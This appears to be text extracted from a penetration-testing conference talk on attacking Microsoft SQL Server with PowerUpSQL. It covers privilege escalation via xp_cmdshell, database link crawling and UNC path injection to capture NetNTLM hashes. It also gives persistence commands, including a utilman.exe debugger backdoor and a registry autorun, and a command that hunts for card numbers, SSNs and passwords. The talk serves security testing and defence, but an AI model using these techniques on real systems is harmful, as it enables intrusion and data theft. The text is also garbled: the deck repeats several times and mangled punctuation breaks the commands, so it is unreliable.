Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
